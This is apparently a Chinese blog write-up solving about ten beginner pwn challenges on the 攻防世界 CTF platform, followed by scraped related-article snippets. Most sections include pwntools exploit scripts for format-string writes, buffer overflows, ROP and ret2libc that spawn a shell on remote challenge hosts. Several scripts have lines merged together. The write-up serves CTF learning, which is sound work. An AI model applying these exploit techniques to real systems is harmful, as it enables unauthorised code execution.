涉及的工具有

Ubuntu 16.04

pwntools

IDA

gdb-peda

1、get_shell

连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件,cat flag得到flag

64位的ELF  保护机制只有NX

然后用IDA看看,找到main函数,查看伪代码

system函数可以直接获得shell ,连接就可以获得get shell

from pwn import *
r=remote('111.198.29.45',51214)
r.interactive()

2、CGfsb

先看看文件位数和保护机制

这里利用的是格式化字符串漏洞,当printf后面带的是%n,那么它会把前面的字符串的长度输入到内存中,只需要让n前面有八个字符,就可以让s等于8,pwnme=s=8,就可以cat flag

寻找一下输入的参数在printf函数中的位置,通过不断打印%x泄露内存的地址,发现61616161在第10位,61是a的ascll码

那么可以构造exp

804a068是pwnme的地址,‘aaaa’和n前面的字符凑成8个字符 ,$是偏移量,意味着偏移了10

rom pwn import *
r=remote('111.198.29.45',46202) r.recvuntil("please tell me your name:")
r.sendline('name') payload=p32(0x804a068)+'aaaa'+'%10$n'
r.sendline(payload) r.interactive()

执行结果

3、when_did_you_born

检查保护机制

然后拖到IDA

要使v5输入1926才能cat flag  但是一输入1926就退出程序了,gets函数可以溢出,我们就可以在输入的名字(v4)的时候填充无意义字符使其溢出,把v5原本的值覆盖掉,替换成1926

在IDA双击&4(var_20)和&5(var_18)  发现它们相差0x8个字符。

当v4输入的长度大于0x8个字符,大于8个的数会覆盖掉v5,使v5重新赋值

那么可以构造脚本

from pwn import *
r=remote('111.198.29.45',51232) r.recvuntil("What's Your Birth?")
r.sendline('') #随便填 r.recvuntil("What's Your Name?")
payload='a'*0x8+p32(0x786) #0x786的十进制是1926
r.sendline(payload)
r.interactive()

执行,获取flag

4、hello_pwn
64位的ELF

打开了NX保护

丢到IDA看看,只需要让dword_601068等于1853186401就可以执行sub_400686函数获取flag

read存在溢出,且unk_691968和dword_60106c偏移量为4,那么很轻松就可以覆盖dword_60106c的值

编写脚本

from pwn import *
#p=process('./hello_pwn')
p=remote('111.198.29.45',31449)
payload = 'a'*0x4+p64(1853186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

执行

5、level0
程序是64位

NX保护

看看伪代码先

返回vulnerable_function函数,read函数存在溢出

看看其他函数,_system函数可以执行系统命令

shift+F12看看字符串,发现有shell

思路很明确,让read函数溢出然后执行system函数,并让system函数的参数为/bin/sh, 我们就可以get到shell了

但是这是一个64位的程序,与32位不同,无法直接传参进去,64位的程序会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我们需要找到rdi的地址

然后再找到‘/bin/sh’的地址

以及system的地址

脚本如下

from pwn import *
r=remote('111.198.29.45',47491)
rdi_add=0x400663
shell_add=0x400684
sys_add=0x400460 payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()

--------------------------分割线------------------------------------

后面承认我瞎,没有看到callsystem函数可以直接调用shell

重新写脚本

from pwn import *
r=remote('111.198.29.45',47491)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()

结果如上,不再演示

6、level2

32位的ELF   只有NX保护

丢到IDA看看,引用vulnerable_funcion函数

system可以执行

shift+F12同样看到了shell

思路跟上一题差不多,直接read溢出,利用system函数传参来get shell

脚本如下

from pwn import *
r=remote('111.198.29.45',45695)
sys_add=0x8048320
shell_add=0x804a024
payload='a'*(0x88+0x4)+p32(sys_add)+'aaaa'+p32(shell_add) #aaaa是无效的返回地址
r.sendline(payload)
r.interactive()

执行结果

 

8、guess_num

检查文件

用IDA打开看看

需要连续猜中10次才能得到flag,但是上面函数有gets这个危险的函数

v9经过0x20个字符就溢出到seed,那么如果把seed[0]变成我们可控的数字,就可以使v6和v8相等,得到flag

借鉴大佬的exp

from pwn import *
from ctypes import * #python标准库中自带的ctypes模块进行python和c的混合编程 r=remote('111.198.29.45',34125)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload='a'*0x20+p64(1)
r.recvuntil("\n")
r.sendline(payload)
libc.srand(1)
for i in range(10):
num=str(libc.rand()%6+1)
r.recvuntil('\n')
r.sendline(num) r.interactive()

libc的共享库可以用ldd调用

执行结果

9、int_overflow

详细解题思路链接

https://bbs.pediy.com/thread-254851.htm

先把流程走一遍

选1可以输入名字和密码(密码要3到8位)否则判定无效数字,选2直接退出,然后我们看看判断的函数

v3是一个无符号类型的数字,意味着范围只能到0-255,如果输入256,那么他会输出0,这里存在整数溢出,无论是3~8还是259~264都是可以通过验证的,那么就可以通过strcpy的栈溢出覆盖what_is_this的返回地址,来获得flag

exp如下

from pwn import *
r=remote('111.198.29.45',50332)
e=ELF("./int_overflow")
what_is_this_addr=e.symbols['what_is_this'] r.recvuntil('Your choice:')
r.sendline('')
r.recvuntil('Please input your username:')
r.sendline('aaa')
r.recvuntil('Please input your passwd:') payload='a'*(0x14+0x4)+p32(what_is_this_addr)
payload=payload.ljust(262,'a') r.sendline(payload)
r.interactive()

执行结果

 10、cgpwn2

先检查发现是一个32位的程序,只有NX保护

用IDA打开

上面那一大串没什么用,但是有fgets函数和gets,同时name在bss段中,是全局变量

思路就是 用fgets输入“/bin/sh“,返回地址覆盖成system的地址,再把传参(/bin/sh)到system里面即可get shell了

from pwn import *

r=remote('111.198.29.45',31947)
name_addr=0x804A080 #bss段中name的地址
e=ELF("./cgpwn2")
sys_addr=e.symbols["system"] #获取system的地址 r.recvuntil("\n")
r.sendline("/bin/sh") payload='a'*(0x26+0x4)+p32(sys_addr)+p32(0xaaaa)+p32(name_addr) #0xaaaa是system的返回地址,随便填
r.recvuntil("\n")
r.sendline(payload)
r.interactive()

执行结果

11 level3

ret2libc

因为之前做过,故不在演示

https://www.cnblogs.com/gaonuoqi/p/11684294.html

思路:通过read函数的栈溢出返回到write函数泄露出write本身或者read的地址,虽然libc里面的地址是随机的,但是函数的相对位置是固定的,知道了read或wirte的真实地址就可以通过偏移量找到libc里面的system和/bin/sh,之后再次返回到vulnerable_funciton进行二次read的栈溢出,返回地址是system,并传入参数/bin/sh构造system(/bin/sh)

exp如下

from pwn import *
r=remote('111.198.29.45',33181) e=ELF('./level3')
write_got=e.got['write']
write_plt=e.plt['write']
func_addr=e.symbols['vulnerable_function'] payload='a'*(0x88+0x4)+p32(write_plt)+p32(func_addr)+p32(0x1)+p32(write_got)+p32(0x4)
r.recvuntil('Input:\n')
r.sendline(payload) write_addr=u32(r.recv(4)) libc=ELF('./libc_32.so.6')
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
bin_libc=libc.search('/bin/sh').next() offset=write_addr-write_libc
sys_addr=offset+sys_libc
bin_addr=offset+bin_libc payload2='a'*(0x88+0x4)+p32(sys_addr)+p32(func_addr)+p32(bin_addr)
r.recvuntil('Input:\n')
r.sendline(payload2) r.interactive()

执行结果

攻防世界pwn之新手区的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. 攻防世界-WEB-新手练习区

    附:|>>>攻防世界-WEB-高手进阶区<<<|

  3. 攻防世界PWN简单题 level0

    攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...

  4. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  5. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

  6. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

  7. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

  8. 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...

  9. 攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

    攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup 题目介绍 题名考点 PHP反序列化漏洞 正则匹配 Writeup <?php class Demo ...

随机推荐

  1. bps和pps

    bps,比特率指的是每秒传输比特数 在实际所说的1M带宽的意思是1Mbps(是兆比特每秒Mbps不是兆字节每秒MBps) pps(数据包每秒),常用的网络吞吐率的单位(即每秒发送多少个分组数据包),网 ...

  2. eNSP仿真软件之VLAN基础配置及Access接口

    ★Access接口是交换机上用来连接用户主机的接口. 实验内容: 实验步骤: (1)      打开仿真软件eNSP,新建拓扑.根据实验内容建立如下实验拓扑图. (2)      按照如下的编址表对每 ...

  3. Quasar framework 配置vue apollo

    Quasar 整合 vue-apollo 确保你已经知道quasar 和 vue apollo 在quasar中使用vue apollo客户端时出现的一点小问题 在quasar项目中使用vue-apo ...

  4. 实战项目-用例评审-问题总结-Dotest-董浩

    实战项目-用例评审-问题总结 内部班项目用例评审,总结的问题:供大家参考!提升用例最好的方式,可以互相执行下(评审),就会明白自己的差距或者需要避免的点在哪里.(前提是会) 1)覆盖率 原型中提到的一 ...

  5. MVC(基础一)

    MVC学习之前必须掌握的c#基础知识 一.类自动属性 public class Person { //自动属性 public string Name { get; set; } private int ...

  6. WPF 精修篇 属性触发器

    原文:WPF 精修篇 属性触发器 属性触发器是通过  某个条件触发改变属性 通过无代码实现功能 <Style TargetType="{x:Type Label}"> ...

  7. IDEA的@Override下面有红色波浪线怎么去掉

    测试了 , 不会影响运行 ! 去掉红线 ! file - seting - java compiler - 把两个version都改成1.8  !  (  因为我的jdk是1.8) file - pr ...

  8. 【STM32H7教程】第27章 STM32H7的TCM,SRAM等五块内存的动态内存分配实现

    完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第27章       STM32H7的TCM,SRAM等五块内 ...

  9. java基础(25):Properties、序列化流、打印流、commons-IO

    1. Properties类 1.1 Properties类介绍 Properties 类表示了一个持久的属性集.Properties 可保存在流中或从流中加载.属性列表中每个键及其对应值都是一个字符 ...

  10. 测试工程师技术tree(“自言自语”)

    理论部分 1.测试分为哪几个阶段 2.测试的流程是什么 3.如何做好测试计划 4.常见的测试用例设计方法有哪些 5.一条bug记录包含哪些内容 5.如何分层自动化测试 6.如何保证脚本的有效性 7.如 ...